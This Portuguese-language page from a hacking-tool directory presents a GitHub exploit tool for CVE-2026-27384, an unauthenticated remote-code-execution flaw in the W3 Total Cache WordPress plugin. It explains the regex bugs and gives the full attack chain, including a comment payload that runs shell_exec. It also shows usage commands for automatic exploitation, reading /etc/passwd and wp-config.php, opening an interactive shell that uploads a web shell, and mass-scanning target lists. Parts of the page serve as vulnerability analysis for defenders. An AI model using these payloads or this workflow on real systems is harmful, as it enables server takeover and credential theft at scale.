Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/xxconi/cve-2026-27384
Geração de PayloadsAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubxxconi/cve-2026-27384

CVE-2026-27384

Scanner e exploit automatizados para CVE-2026-27384, um RCE não autenticado no W3 Total Cache via injeção mfunc/eval(). Inclui autodetecção, 48 variantes de payload, shell interativo e varredura em lote.

Ver Repositório
4há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-27384

CVE-2026-27384 — Scanner RCE para W3 Total Cache mfunc/eval()

Plugin: W3 Total Cache Plugin Slug: w3-total-cache CVE ID: CVE-2026-27384 Pontuação CVSS: 9.8 (Crítico) Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo de vulnerabilidade: Execução Arbitrária de Código sem Autenticação (Injeção de Código via eval()) Versões afetadas: <= 2.9.1 Versão corrigida: 2.9.2 Data de publicação: 24 de fevereiro de 2026 Pesquisador: CODE WHITE GmbH


📌 Resumo da Vulnerabilidade

O recurso Dynamic Fragment Caching do plugin W3 Total Cache (sistema mfunc/mclude) executa código PHP embutido em comentários HTML via eval(). O token W3TC_DYNAMIC_SECURITY, que deveria proteger esse recurso, pode ser contornado devido à combinação de múltiplos erros de código.

Resultado: Sem exigir autenticação, apenas enviando um comentário no WordPress, é possível executar código PHP arbitrário no servidor.


🔍 Tabela Resumo da Vulnerabilidade

CampoValor
CVE IDCVE-2026-27384
CVSS9.8 Crítico
TipoInjeção de Código → RCE (CWE-94)
Versão Afetada<= 2.9.1
Versão Corrigida2.9.2
AutenticaçãoNão necessária
Interação do UsuárioNão necessária
Pré-requisitoW3TC_DYNAMIC_SECURITY deve conter metacaractere regex

⚙️ Análise Técnica

Recurso: mfunc / mclude

O recurso Dynamic Fragment Caching do W3TC permite que desenvolvedores insiram código PHP no HTML da página por meio de tags de comentário especiais:

<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

O W3TC processa essas tags ao servir a página do cache: o PHP embutido é executado com eval() e sua saída substitui o bloco de comentário.


Bug 1 — Falta de preg_quote() (PgCache_ContentGrabber.php)

// VULNERÁVEL — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY é inserido diretamente na regex
        // SEM preg_quote() → o token se comporta como padrão regex
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

Se o token for '.', a regex vira <!--\s*mfunc\s*.(.*)--> → qualquer caractere único passa a valer como token.


Bug 2 — Incompatibilidade \s* vs \s+

FunçãoPadrãoComportamento
_parse_dynamic() — executamfunc\s*TOKENAceita 0 espaços ✅
strip_dynamic_fragment_tags_from_string() — removemfunc\s+TOKENExige pelo menos 1 espaço ❌
Payload do atacante:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      SEM ESPAÇO entre mfunc e o token

função strip:      \s+ → não corresponde → payload PERMANECE
regex de execução: \s* → corresponde  → eval() EXECUTA

Bug 3 — Validação de Token Ausente (_has_dynamic())

// VULNERÁVEL — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Apenas verifica defined() — sem verificação de empty() ou metacaractere
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

Cadeia de Ataque Completa

W3TC_DYNAMIC_SECURITY = '.'   (metacaractere regex — qualquer caractere)
        │
        ▼
Atacante envia comentário:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Padrão: mfunc\s+[^\s]+  →  exige \s+, sem espaço → IGNORADO ✅
        │
        ▼
Comentário é salvo no banco de dados, página é armazenada em cache
        │
        ▼
Segunda solicitação HTTP → W3TC serve do cache
  _has_dynamic() → mfunc\s*.  → 'A' corresponde → retorna true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Padrão: mfunc\s*.  → 'A' corresponde
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ RCE sem autenticação ✓

🔴 Impacto do Ataque

Sem autenticação, é possível executar código PHP arbitrário no servidor com as permissões do servidor web:

  • ✅ Comprometimento total do servidor
  • ✅ Ler/gravar/excluir arquivos do WordPress e banco de dados
  • ✅ Instalar web shell / backdoor
  • ✅ Pivot para a rede interna
  • ✅ Vazar credenciais, chaves de API e dados de usuários

🚀 Instalação

git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

requests
beautifulsoup4

📖 Uso

Modos

ModoDescrição
autoEscaneia o site → encontra página de comentários → explora (padrão)
exploitExplora diretamente — com URL de post
shellShell interativo
detectApenas detecção do W3TC

Modo Auto — Tudo Automático

python w3tc_rce.py https://hedef.com

O scanner faz o seguinte:

  1. Verifica se o W3TC está instalado
  2. Encontra páginas com formulário de comentário via sitemap + acompanhamento de links
  3. Testa 48 variantes de payload em cada página
  4. Se bem-sucedido, oferece abrir um shell

Modo Exploit — Direto

# comando id
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# ler /etc/passwd
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# ler wp-config.php
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# Post ID manual
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

Modo Shell — Interativo

python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

Quando o shell abre, whoami, hostname, pwd e uname -a são executados automaticamente:

=================================================================
  CVE-2026-27384 — Shell Interativo W3TC mfunc
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Comandos: exit | upload <local> <remoto> | download <remoto>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

Modo Detect — Apenas Detecção

python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC instalado!
    Versão : 2.9.1
    Cache  : True
[!] Versão 2.9.1 VULNERÁVEL (<= 2.9.1)!

Varredura em Massa

python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

Com Proxy (Burp Suite)

python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ Todos os Parâmetros

Baixar ferramenta